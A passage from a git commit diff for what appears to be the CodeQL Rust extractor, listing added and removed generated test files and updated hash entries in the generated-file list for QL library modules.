.../TupleFieldList/gen_tuple_field_list.rs | 7 +- .../TupleTypeRepr/gen_tuple_type_repr.rs | 7 +- .../generated/TypeArg/gen_type_arg.rs | 7 +- .../generated/TypeBound/gen_type_bound.rs | 7 +- .../TypeBoundList/gen_type_bound_list.rs | 7 +- .../generated/TypeParam/gen_type_param.rs | 7 +- .../generated/Union/gen_union.rs | 6 +- .../extractor-tests/generated/Use/gen_use.rs | 4 +- .../UseBoundGenericArgs/MISSING_SOURCE.txt | 4 - .../UseBoundGenericArgs.ql | 10 + ...eBoundGenericArgs_getUseBoundGenericArg.ql | 7 + .../gen_use_bound_generic_args.rs | 9 + .../generated/UseTree/gen_use_tree.rs | 2 +- .../UseTreeList/gen_use_tree_list.rs | 7 +- .../generated/Variant/gen_variant.rs | 7 +- .../generated/VariantList/gen_variant_list.rs | 7 +- .../generated/Visibility/gen_visibility.rs | 7 +- .../generated/WhereClause/gen_where_clause.rs | 7 +- .../generated/WherePred/gen_where_pred.rs | 7 +- .../generated/WhileExpr/gen_while_expr.rs | 8 +- 431 files changed, 3484 insertions(+), 1258 deletions(-) create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/AsmClobberAbi.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmClobberAbi/gen_asm_clobber_abi.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/AsmConst_getExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmConst/gen_asm_const.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/AsmDirSpec.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmDirSpec/gen_asm_dir_spec.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/AsmLabel_getBlockExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmLabel/gen_asm_label.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getInExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/AsmOperandExpr_getOutExpr.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandExpr/gen_asm_operand_expr.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getAsmOperand.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/AsmOperandNamed_getName.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOperandNamed/gen_asm_operand_named.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/AsmOption.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOption/gen_asm_option.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/AsmOptionsList_getAsmOption.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmOptionsList/gen_asm_options_list.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmDirSpec.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmOperandExpr.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/AsmRegOperand_getAsmRegSpec.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegOperand/gen_asm_reg_operand.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/AsmRegSpec_getIdentifier.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmRegSpec/gen_asm_reg_spec.rs create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym.ql create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/AsmSym_getPath.ql delete mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/AsmSym/gen_asm_sym.rs delete mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList.ql create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/ParenthesizedArgList_getTypeArg.ql create mode 100644 rust/ql/test/extractor-tests/generated/ParenthesizedArgList/gen_parenthesized_arg_list.rs delete mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/MISSING_SOURCE.txt create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs.ql create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/UseBoundGenericArgs_getUseBoundGenericArg.ql create mode 100644 rust/ql/test/extractor-tests/generated/UseBoundGenericArgs/gen_use_bound_generic_args.rs diff --git a/rust/ql/.generated.list b/rust/ql/.generated.list index e14f2fd1e46..32bc07a9652 100644 --- a/rust/ql/.generated.list +++ b/rust/ql/.generated.list @@ -1,30 +1,30 @@ -lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll 1032a5729a977b4295648574134c4a700c873d7bc27e159bc39d73673c06b0d8 e124fdc0cd8a64c8f142618d033d93873b928cb0858b212ffb1068457820147c -lib/codeql/rust/elements/Abi.qll 4c973d28b6d628f5959d1f1cc793704572fd0acaae9a97dfce82ff9d73f73476 250f68350180af080f904cd34cb2af481c5c688dc93edf7365fd0ae99855e893 +lib/codeql/rust/controlflow/internal/generated/CfgNodes.qll c103cb9d949d1b5fbfefd94ce57b0461d750aaf87149f6d0ffe73f5ea58b5a74 a8ec5dbb29f6ad5c06ffb451bf67674bdc5747ddad32baebba229f77fc2abe93 +lib/codeql/rust/elements/Abi.qll 485a2e79f6f7bfd1c02a6e795a71e62dede3c3e150149d5f8f18b761253b7208 6159ba175e7ead0dd2e3f2788f49516c306ee11b1a443bd4bdc00b7017d559bd lib/codeql/rust/elements/Addressable.qll 13011bfd2e1556694c3d440cc34af8527da4df49ad92b62f2939d3699ff2cea5 ddb25935f7553a1a384b1abe2e4b4fa90ab50b952dadec32fd867afcb054f4be -lib/codeql/rust/elements/ArgList.qll 661f5100f5d3ef8351452d9058b663a2a5c720eea8cf11bedd628969741486a2 28e424aac01a90fb58cd6f9f83c7e4cf379eea39e636bc0ba07efc818be71c71 +lib/codeql/rust/elements/ArgList.qll 3d2f6f5542340b80a4c6e944ac17aba0d00727588bb66e501453ac0f80c82f83 afd52700bf5a337f19827846667cd0fb1fea5abbbcbc353828e292a727ea58c9 lib/codeql/rust/elements/ArrayExpr.qll e4e7cff3518c50ec908271906dd46c1fbe9098faa1e8cd06a27f0a6e8d165ed1 fe02a4f4197f57ecd1e8e82d6c9384148ec29d8b106d7f696795b2f325e4a71b lib/codeql/rust/elements/ArrayListExpr.qll 451aedcecb479c385ff497588c7a07fda304fd5b873270223a4f2c804e96b245 a8cb008f6f732215623b5626c84b37b651ca01ccafb2cf4c835df35d5140c6ad lib/codeql/rust/elements/ArrayRepeatExpr.qll 4b7ed5be7d2caaf69f6fc0cd05b0e2416c52d547b1a73fb23d5a13007f75f4dd f6366f21cc48376b5fdf37e8c5c2b19415d4cbdeef09f33bb99cde5cb0f5b0e7 -lib/codeql/rust/elements/ArrayTypeRepr.qll 7d5148c9efaf13e6880b327ca426304f7574608a29e6b8a219ed291003cbe1ae 73a297b0307cd014d08ccb3c00fc57b6c115adadee72a0ebb4c01fcae9e47163 -lib/codeql/rust/elements/AsmClobberAbi.qll e6fcfc3d25ab113b73247f28ff89d16ae1c85797fa43f237cb2fa396ca20bdda 898469a38e3270c8d555e0b87b4fb653434f451175b729928ef437120d42bf18 -lib/codeql/rust/elements/AsmConst.qll a73654a7861100f096b92a0167311664e568a0ddcb8c97b6faabb42ad9630e46 e24f8834e2b8143d35aa107cdbffbc91955341f77574d684d8777ef9e673cd3a -lib/codeql/rust/elements/AsmDirSpec.qll 891e5b23287cca1671eddbe1e53f4d44d5692cebb7b599e1490a4e5694264be8 621f0726d5f50c8237e75323af7955785ed996f54c0422d2443fd6c33efa6346 +lib/codeql/rust/elements/ArrayTypeRepr.qll a3e61c99567893aa26c610165696e54d11c16053b6b7122275eff2c778f0a52d 36a487dcb083816b85f3eec181a1f9b47bba012765486e54db61c7ffe9a0fcbf +lib/codeql/rust/elements/AsmClobberAbi.qll 158cb4b2eefa71ea7765a1df6e855015cffea48e9b77276c89ee39a871935f89 feb43771a5dc7da9558af12429011ec89eb515533ef30abd0069f54a3d0c758e +lib/codeql/rust/elements/AsmConst.qll d496390040cf7e2d8f612f79405668178641f5dad5177b2853a508b427e74805 1ab508d55d90e80d74b648a8c0f0a23e3456f5deb858cff1d3f64c04df63b1e2 +lib/codeql/rust/elements/AsmDirSpec.qll f2fcb1812e84b5362d8ebb77c34a36458a52f5b37948e50ea22b1b2fe30c1196 caf2604cfddd0163172e6335411f6a0e6e0d3df6b0a77eb1320a4ab314541fba lib/codeql/rust/elements/AsmExpr.qll 1b0899fb7c0b6478fa102ccd0d30cac25aeca5c81d102158b15353ca498130c8 3802c40b748976c5b6dfd79315452ab34532ba46caf19fa8fbf557968e8fea74 -lib/codeql/rust/elements/AsmLabel.qll 3c8340aa3312c720d43469fab49b9305319e2ead80e5848245fdcaea3a256341 31207d65417fe639c484c814922dedad5aa418ce1e1a097a6c8d7d81290dd498 +lib/codeql/rust/elements/AsmLabel.qll e56c12b0e730b5761c3c4c14f16b93bf7b44fa4e9e5a5d5483e4b17e407e753b 5c36f58ea21e69b7fdacd718dae8ed3e2dd8ae4aa0b0bb3d11c8275580e93bed lib/codeql/rust/elements/AsmOperand.qll 3987a289233fe09f41f20b27939655cc72fa46847969a55cca6d6393f906969a 8810ff2a64f29d1441a449f5fd74bdc1107782172c7a21baaeb48a40930b7d5a -lib/codeql/rust/elements/AsmOperandExpr.qll 5f32dc9d1123797ec9c821d89118ecae729192fb88b5cbfbff385c80c26118d8 0faa6de658ce0d9a016c3213ae6c160c5d62b98b97a665e26b33dbb8860651f8 -lib/codeql/rust/elements/AsmOperandNamed.qll 1c6978e95c7a270024684934eb531695e79e98d8ed46c4e251cf5c93fb5ba316 00f221bcd285c013e0111859205638435bf4a5d062ca7f0cf0bd98501edc7c69 -lib/codeql/rust/elements/AsmOption.qll d3b282f30d33e9d9b531288eef078eeb556cbfa091d63948bcf55bd59273c683 91a1744541af4c7f316ce9ca7607c8537de6386f0fd56381a8cb7c1744c104c3 -lib/codeql/rust/elements/AsmOptionsList.qll c60a3283233433c31a54d2a2e1a7bafe1c5c57ffdf652d9c9d37536334652416 7cdf7344a8d14052c5a132bb4532c70b8878cdfcdc0df0a608c400df5c4683c2 +lib/codeql/rust/elements/AsmOperandExpr.qll 56669c4791f598f20870d36b7954f9c9ed62e5c05045dae6d5eeede461af59e3 195f5563adef36b3876325bd908fed51c257d16d64264ce911425da642555693 +lib/codeql/rust/elements/AsmOperandNamed.qll 40042ce52f87482813b6539b0c49bfa5e35a419325ef593d3e91470d38240e26 497d277e03deab4990fad6128b235cf7fe24d0d523a3b4aaf4d20bcc46a4a4de +lib/codeql/rust/elements/AsmOption.qll 25b1f0e2dacee43eaa38246f654d603889b344eebede7ac91350bc59135c3467 85ba7f8c129441379b1c1fe821c90ab9ccdec2e2d495e143e13aaae2194defa1 +lib/codeql/rust/elements/AsmOptionsList.qll 98a3392da91d34b8e642f6cef1f93d3a2c0aa474044d6bb15c0879f464bfed77 b89d838a41059ad14aec11921173f89d416feb3f0d4e8762d5e65aa105507466 lib/codeql/rust/elements/AsmPiece.qll 8650bf07246fac95533876db66178e4b30ed3210de9487b25acd2da2d145416a 42155a47d5d5e6ea2833127e78059fa81126a602e178084957c7d9ff88c1a9a3 -lib/codeql/rust/elements/AsmRegOperand.qll ebc16804e7f45fd88b99caf8b88d34faa0a860b9dedd32a01377c0cde8bea41a 03ceba863d4b9d6c19d1ef0bd27f782d9c6ccc7ffa8339bd8f27954d55cdc5f5 -lib/codeql/rust/elements/AsmRegSpec.qll fb85fe7dba34ad3694624d504423faec4b4e85fb7469192647d721a3d062c00e 1dee3b1e811984d2ed1b9770ad8588535bd4f28d83eccf013389c93593678ff1 -lib/codeql/rust/elements/AsmSym.qll 3a972dc25565bbd4fd73e0616e487c826e6d926f768f0c76f1e7c00a9db0e55b b15d78540da6f566bab12fa29c1ca4cef11380e9a5578ec70e7c893555b0f333 -lib/codeql/rust/elements/AssocItem.qll 5e514287bbe353d1d637991e7af836e5659ad66922df99af68ab61399e7f8f9a 3733af54938271161ee2720c32ac43228d519b5c46b7cea1e4bbe3dc634f8857 -lib/codeql/rust/elements/AssocItemList.qll ee719e7105a1936e2dd6cda0c55c73ff2704b6461861b2503ed86198484e4c06 de26c8127fd643b8b4567c0ce39511050f7ceefa0075a48a8ad03d50f56a1142 -lib/codeql/rust/elements/AssocTypeArg.qll a01fb46212bed37224841e9aa3909290e720fdaffc7e443cf8a52f6bf7111ff4 9783f77b4983df46f054a18d339107fa17e5f392c360a772811ccf3bb9da32a1 +lib/codeql/rust/elements/AsmRegOperand.qll 6c58d51d1b72a4e2fbbd4a42a7bc40dd4e75ffba45e5c75e5a156b65bc7377e9 824d2e18efda880a15e61cd564f36303230045dec749071861e7ed51e0de9cee +lib/codeql/rust/elements/AsmRegSpec.qll 50b21381211d462fb4c95e5b1499b2b29d0308e993a9f15267d69fbbca89dd3c 60e9b7ce4c272c3a7a4dde39c650746cfea111038eaee89c73336ea3378415da +lib/codeql/rust/elements/AsmSym.qll dfc28fc4a81d5d2b1696ee110468252d7914a30898273bc8900537584af8410d 04f5a3887471193919a9ea1fd810abe50b647e4e29f8bb7fa66658e42393122d +lib/codeql/rust/elements/AssocItem.qll 89e547c3ce2f49b5eb29063c5d9263a52810838a8cfb30b25bee108166be65a1 238fc6f33c18e02ae023af627afa2184fa8e6055d78ab0936bd1b6180bccb699 +lib/codeql/rust/elements/AssocItemList.qll 5d58c018009c00e6aef529b7d1b16161abae54dbf3a41d513a57be3bbda30abf d9b06ef3c1332f4d09e6d4242804396f8664771fa9aaceb6d5b25e193525af3b +lib/codeql/rust/elements/AssocTypeArg.qll 8a0d8939d415f54ce2b6607651ee34ab0375abb8cb512858c718c2b5eee73c5f 68983653e45a7ee612c90bb3738ce4350170ac2f79cf5cda4d0ae59389da480e lib/codeql/rust/elements/AstNode.qll 5ee6355afb1cafd6dfe408b8c21836a1ba2aeb709fb618802aa09f9342646084 dee708f19c1b333cbd9609819db3dfdb48a0c90d26266c380f31357b1e2d6141 -lib/codeql/rust/elements/Attr.qll 53887a49513b95e38344b57d824a7474331467561f1edf38d5ca608d8cefa0cd 2e9eeb32ba6cc186691897979e30d32bc6eaff523e37064ee84cf09ded5afe17 +lib/codeql/rust/elements/Attr.qll 2cb6a6adf1ff9ee40bc37434320d77d74ae41ff10bbd4956414c429039eede36 e85784299917ad8a58f13824b20508f217b379507f9249e6801643cf9628db1e lib/codeql/rust/elements/AwaitExpr.qll d8b37c01f7d27f0ec40d92a533a8f09a06af7ece1ae832b4ea8f2450c1762511 92cdb7ff0efddf26bed2b7b2729fddd197e26c1a11c8fec0c747aab642710c21 lib/codeql/rust/elements/BecomeExpr.qll 7a3cfc4894feb6be1cde664f675b18936434e68ccea52e55314c33d01491e34f 49666eca509b30d44bb02702bda67239c76bf8d9f231022c9cf6ecca123f8616 lib/codeql/rust/elements/BinaryExpr.qll 394522da3bc3a716fc7bc40c3560143ca840f5d210cfcba2a752c3026dd0f725 fbbd6fb79bf16a7d9820613654c584cd7ff3e7a29988f3920b6cfbe746acfd8d @@ -35,203 +35,203 @@ lib/codeql/rust/elements/CallExpr.qll f336500ca7a611b164d48b90e80edb0c0d3816792b lib/codeql/rust/elements/CallExprBase.qll 2846202b5208b541977500286951d96487bf555838c6c16cdd006a71e383745a c789d412bf099c624329379e0c7d94fa0d23ae2edea7a25a2ea0f3c0042ccf62 lib/codeql/rust/elements/Callable.qll e1ed21a7e6bd2426f6ccd0e46cee506d8ebf90a6fdc4dca0979157da439853aa 02f6c09710116ce82157aec9a5ec706983c38e4d85cc631327baf8d409b018c6 lib/codeql/rust/elements/CastExpr.qll 2fe1f36ba31fa29de309baf0a665cfcae67b61c73345e8f9bbd41e8c235fec45 c5b4c1e9dc24eb2357799defcb2df25989075e3a80e8663b74204a1c1b70e29a -lib/codeql/rust/elements/ClosureBinder.qll 977df800f97cc9b03fffb5e5e1fc6acd08a2938e04cb6ad91108784a15b0d510 f6fad4127226fe1dff2f16416d8a7fde5d8ab4a88f30e443ac5e5ff618de3e05 +lib/codeql/rust/elements/ClosureBinder.qll 3788b58696a73e3a763f4a5b86b7fdce06b1ccf6bc67cc8001092e752accdc9a 8d0d30739024a7cb5a60927042e2750113d660de36771797450baaadb5c1e95e lib/codeql/rust/elements/ClosureExpr.qll 67e2a106e9154c90367b129987e574d2a9ecf5b297536627e43706675d35eaed d6a381132ddd589c5a7ce174f50f9620041ddf690e15a65ebfb05ff7e7c02de7 lib/codeql/rust/elements/Comment.qll fedad50575125e9a64a8a8776a8c1dbf1e76df990f01849d9f0955f9d74cb2a6 8eb1afad1e1007a4f0090fdac65d81726b23eda6517d067fd0185f70f17635ab -lib/codeql/rust/elements/Const.qll bf6c62e79da145aa50ee9d24278510c3762cad921bfe76684b20fac4895653ef 31df5752216725a88d53cfc4a1432fa6cdc39251a8560d695135c55185ab22dd -lib/codeql/rust/elements/ConstArg.qll f37b34417503bbd2f3ce09b3211d8fa71f6a954970c2738c73be6c55f204e58e 15ef5e189b67cfdfe4d16909e0b411ac8fdd4ef187c328bdede03a1a5e416b54 +lib/codeql/rust/elements/Const.qll 8b9c66b59d9469a78b2c696b6e37d915a25f9dd215c0b79b113dc7d34adca9e3 7b8213bf21403a1f8b78ea6a20b716f312b26fee5526111602482a2e985e8ac5 +lib/codeql/rust/elements/ConstArg.qll 01865b3be4790c627a062c59ea608462931abcb2f94a132cf265318664fd1251 a2c6bbf63dbfa999e511b6941143a51c9392477d8ccd25e081f85475936ff558 lib/codeql/rust/elements/ConstBlockPat.qll a25f42b84dbeb33e10955735ef53b8bb7e3258522d6d1a9068f19adaf1af89d9 eeb816d2b54db77a1e7bb70e90b68d040a0cd44e9d44455a223311c3615c5e6e -lib/codeql/rust/elements/ConstParam.qll 248db1e3abef6943326c42478a15f148f8cdaa25649ef5578064b15924c53351 28babba3aea28a65c3fe3b3db6cb9c86f70d7391e9d6ef9188eb2e4513072f9f +lib/codeql/rust/elements/ConstParam.qll 87776586f7ff562ff3c71373f45cf70486f9a832613a0aaac943311c451cc057 67a31616688106d5130951f2162e5229bff0fde08ff647943663cac427d7048b lib/codeql/rust/elements/ContinueExpr.qll 9f27c5d5c819ad0ebc5bd10967ba8d33a9dc95b9aae278fcfb1fcf9216bda79c 0dc061445a6b89854fdce92aaf022fdc76b724511a50bb777496ce75c9ecb262 lib/codeql/rust/elements/Crate.qll 1426960e6f36195e42ea5ea321405c1a72fccd40cd6c0a33673c321c20302d8d 1571a89f89dab43c5291b71386de7aadf52730755ba10f9d696db9ad2f760aff -lib/codeql/rust/elements/DynTraitTypeRepr.qll 5953263ec1e77613170c13b5259b22a71c206a7e08841d2fa1a0b373b4014483 d4380c6cc460687dcd8598df27cad954ef4f508f1117a82460d15d295a7b64ab +lib/codeql/rust/elements/DynTraitTypeRepr.qll e4d27112d27ae93c621defd2c976fd4e90663ab7f6115e83ae4fe8106cb5e015 eb9fde89698588f3b7116f62388c54e937f99559b22c93d11a5596e754560072 lib/codeql/rust/elements/Element.qll 0b62d139fef54ed2cf2e2334806aa9bfbc036c9c2085d558f15a42cc3fa84c48 24b999b93df79383ef27ede46e38da752868c88a07fe35fcff5d526684ba7294 -lib/codeql/rust/elements/Enum.qll 2f122b042519d55e221fceac72fce24b30d4caf1947b25e9b68ee4a2095deb11 83a47445145e4fda8c3631db602a42dbb7a431f259eddf5c09dccd86f6abdd0e +lib/codeql/rust/elements/Enum.qll accb97d0bd8c0f41df873d41886f606b6ae4cd1ffa38b70fe9504cfb89d0bd7d b456103ac992e384165d151eb0f169499be4961c3ec35b94a32201b5e4e22189 lib/codeql/rust/elements/Expr.qll e5d65e805ccf440d64d331e55df4c4144ab8c8f63f367382494714087659ffe8 2bbc1e5d3a65f413ec33d9822fa451fbdbe32349158db58cc0bfcfafb0e21bda lib/codeql/rust/elements/ExprStmt.qll 00ac4c7d0192b9e8b0f28d5ae59c27729ff5a831ca11938ea3e677a262337a64 7cc02aa5346cd7c50d75ca63cd6501097b0a3979eb2ed838adff114fe17d35a3 -lib/codeql/rust/elements/ExternBlock.qll 23d7ca86ad0366cfb0c5300a6e205f1fe59eebcb1b18dd5b6ea7fdba3830ca68 c718eed50d4d55b67e9cfcebee018b8e6f9b783f2b2f0e21c5785ead0f11f5b6 -lib/codeql/rust/elements/ExternCrate.qll 54e93a9ec560d72dc0f0269b42b237f21abbf37023492e657f048764d70b0734 fc5bb6f255f5293fd4f56cd14d5ce0ae781abff28c1f984101c38e15f82405df -lib/codeql/rust/elements/ExternItem.qll c39bbae40fa569d3d84a10045d7eeced3db85e6cb7147f7a7065c5b484f890a1 bc56d6db3d05dbc552927d004328fbe399960711c920ef6b47f6faaa1a541183 -lib/codeql/rust/elements/ExternItemList.qll bc96f188970e8dc0cd1e77dea3e49b715edf6392539add5744cb1b396064a3b0 d1270d50448b36947372e86337a3efb5ed416c77aac709f6421d4d2f06999a7a +lib/codeql/rust/elements/ExternBlock.qll 96c70d0761ec385fe17aa7228e15fd1711949d5abba5877a1c2f4c180d202125 38ad458868a368d437b2dda44307d788a85c887f45ea76c99adbfc9a53f14d81 +lib/codeql/rust/elements/ExternCrate.qll 776cf8ef7e6611ebb682f20bb8cf47b24cc8fe08ba0b0cf892c19c95a1ecec3e 1a74eb2974d93c1a8beb9a4f5e3432bb50b6bcdd6e450d1f966534edbdff9cd0 +lib/codeql/rust/elements/ExternItem.qll 0d895c2c37f64237b23542a84033fed81a23d732e1cb8c109aa18ecde67bf959 56087151b9461253a6ecc50e165c7e32eca70af334bfc1b884a230302721c2b3 +lib/codeql/rust/elements/ExternItemList.qll eceb0fcd3a6f9d87fa044da1da112ce96b75c8e0f0897d51e44c5822a3e430dc 2255f1121d7cec4e29401ad08b728f02a920a82da48f16b6bb86c5056775be31 lib/codeql/rust/elements/FieldExpr.qll 8102cd659f9059cf6af2a22033cfcd2aae9c35204b86f7d219a05f1f8de54b3b f818169dddf5102095ae1410583615f80031376a08b5307d0c464e79953c3975 -lib/codeql/rust/elements/FieldList.qll 7c0a34860ed0929e93ced5486045a0573b90a8b7603558fe098e03c105fba92f 6e81a2004e3dca49942c889a7f49c8b3ce3061546fbdc21aa536a8a18e1151f0 -lib/codeql/rust/elements/FnPtrTypeRepr.qll 25a88a8445b4abfaf7c95fcef03db5328aa81e35cebe56516bdda01380f0a69e 0a77d08b6b2d63e7a037f366b6dffd5006e975a8af2424af60a4f9ad74d441ba -lib/codeql/rust/elements/ForExpr.qll 0cc8bfe10b8baf62a1ff65c8463cfb17ab64b41c30c9e1edb962a227df2036d9 b1be73294e6da0f49fd32177ad0b05fecf26081d5ce424f288be99a4bd59cc84 -lib/codeql/rust/elements/ForTypeRepr.qll dc4e00cd23606df93d753f2ca6862b55a10c722a7e952bb2e11b494738d2a3d2 ca169d2faca3baab3720086f7b2de5c26f55faf2dbab958298377ad65f73949b +lib/codeql/rust/elements/FieldList.qll 72f3eace2f0c0600b1ad059819ae756f1feccd15562e0449a3f039a680365462 50e4c01df7b801613688b06bb47ccc36e6c8c7fa2e50cc62cb4705c9abf5ee31 +lib/codeql/rust/elements/FnPtrTypeRepr.qll d4586ac5ee2382b5ef9daafa77c7b3c1b7564647aa20d1efb1626299cde87ba9 48d9b63725c9cd89d79f9806fa5d5f22d7815e70bbd78d8da40a2359ac53fef5 +lib/codeql/rust/elements/ForExpr.qll a050f60cf6fcc3ce66f5042be1b8096e5207fe2674d7477f9e299091ca99a4bd d7198495139649778894e930163add2d16b5588dd12bd6e094a9aec6863cb16f +lib/codeql/rust/elements/ForTypeRepr.qll 187a00c390ff37a1590b6f873b80727bb898ad2d843f0ad5465b8c71df8377a3 89957623e802ae54e8bc24d2ab95a7df9fa8aafd17b601fc8d4cc33ae45a6d86 lib/codeql/rust/elements/Format.qll 1b186730710e7e29ea47594998f0b359ad308927f84841adae0c0cb35fc8aeda d6f7bfdda60a529fb9e9a1975628d5bd11aa28a45e295c7526692ac662fd19f8 lib/codeql/rust/elements/FormatArgsArg.qll a2c23cd512d44dd60b7d65eba52cc3adf6e2fbbcd0588be375daa16002cd7741 d9c5fe183fb228375223d83f857b7a9ee686f1d3e341bcf323d7c6f39652f88b lib/codeql/rust/elements/FormatArgsExpr.qll 8127cbe4082f7acc3d8a05298c2c9bea302519b8a6cd2d158a83c516d18fc487 88cf9b3bedd69a1150968f9a465c904bbb6805da0e0b90cfd1fc0dab1f6d9319 lib/codeql/rust/elements/FormatArgument.qll f6fe17ee1481c353dd42edae8b5fa79aeb99dff25b4842ec9a6f267b1837d1e3 5aed19c2daf2383b89ad7fd527375641cff26ddee7afddb89bc0d18d520f4034 lib/codeql/rust/elements/FormatTemplateVariableAccess.qll ff3218a1dda30c232d0ecd9d1c60bbb9f3973456ef0bee1d1a12ad14b1e082b5 e4316291c939800d8b34d477d92be9404a30d52b7eee37302aef3d3205cf4ae0 lib/codeql/rust/elements/Function.qll 61fafe4bc91c997e9fb64f2770fc6682d333c61df3283fac58163df14a500430 ca7cb756942ccd01f961f3e959c7fddabeaabb72c4226ca756a6a30a4b1a4c48 -lib/codeql/rust/elements/GenericArg.qll 5f11ce0e3c5f08de84db61f56ba1b984652455ba6b95a8b8a5b5a235913d4072 756b6a73d66fde45bdcc65ce2362a5b1391af2927e6d54b6550b3ecd5fd11e75 +lib/codeql/rust/elements/GenericArg.qll 5f8666af395208f8ad2044063788fa2c0c317cc0201d1ffc8c6ade62da82867c 174025826d3f4d6bf714be043acfea323701988bae134bd5a8b908b1ba1d3850 lib/codeql/rust/elements/GenericArgList.qll dcf274db517b0e8f19e4545d77f86cdd4066ff2805e68c808d0bb5750b49f569 1055a82929e850264e501b367ef4d314a3e6bb8943ec95f4284d157fb4d0092f -lib/codeql/rust/elements/GenericParam.qll b58448b808d6dfa05db9574f54c22ce51f0b1d78784263c75a95d6bfc787067d 4afbab71fe717d7d7d3e2f60ea8c3d97bcb29b17b4efb79eabfe8f070edcb9bb +lib/codeql/rust/elements/GenericParam.qll 87adf96aac385f2a182008a7b90aad46cf46d70134364123871afb43e5ea2590 be82f1986b263053d7b894a8998ddb59543200a2aa8df5a44c217b8773f60307 lib/codeql/rust/elements/GenericParamList.qll 25fcaa68bc7798d75974d12607fae0afc7f84d43091b2d0c66a504095ef05667 3b71115c6af0b8e7f84d8c2d5ac9f23595ad2b22dbd19a9ea71906ca99340878 lib/codeql/rust/elements/IdentPat.qll ad5f202316d4eeee3ca81ea445728f4ad7eb6bb7d81232bc958c22a93d064bf2 7ce2772e391e593d8fd23b2b44e26d0d7e780327ec973fcc9dce52a75fda0e36 lib/codeql/rust/elements/IfExpr.qll f62153e8098b3eb08b569d4e25c750bc686665651579db4bc9e11dcef8e75d63 55006a55d612f189e73caa02f7b4deda388c692f0a801cdda9f833f2afdca778 -lib/codeql/rust/elements/Impl.qll 6407348d86e73cdb68e414f647260cb82cb90bd40860ba9c40248d82dcba686c f60e07c8731185f7aa9c792a40c120669920d95f5400658de102b4a3ce30dd10 -lib/codeql/rust/elements/ImplTraitTypeRepr.qll e2d5a3ade0a9eb7dcb7eec229a235581fe6f293d1cb66b1036f6917c01dff981 49367cada57d1873c9c9d2b752ee6191943a23724059b2674c2d7f85497cff97 +lib/codeql/rust/elements/Impl.qll ce5225fd97b184db7235bcf2561cf23c679de2fc96fecaeb8cbcf7935dd48fbd 3fe755118c3d0b1eb626f359da362ad75dbdcd1e09f09825b10038fb41ddb35c +lib/codeql/rust/elements/ImplTraitTypeRepr.qll 1d559b16c659f447a1bde94cc656718f20f133f767060437b755ac81eea9f852 de69c596701f0af4db28c5802d092a39c88a90bf42ea85aea25eecb79417e454 lib/codeql/rust/elements/IndexExpr.qll 0e2e9f018d06ae72be0fc4ddbc019a9aacd8a06f42b4c4431760bd149e7f2290 2bcfd557abd53a48e48de7915c4f2089107c62dfb3e732a904848248dfd3727b -lib/codeql/rust/elements/InferTypeRepr.qll 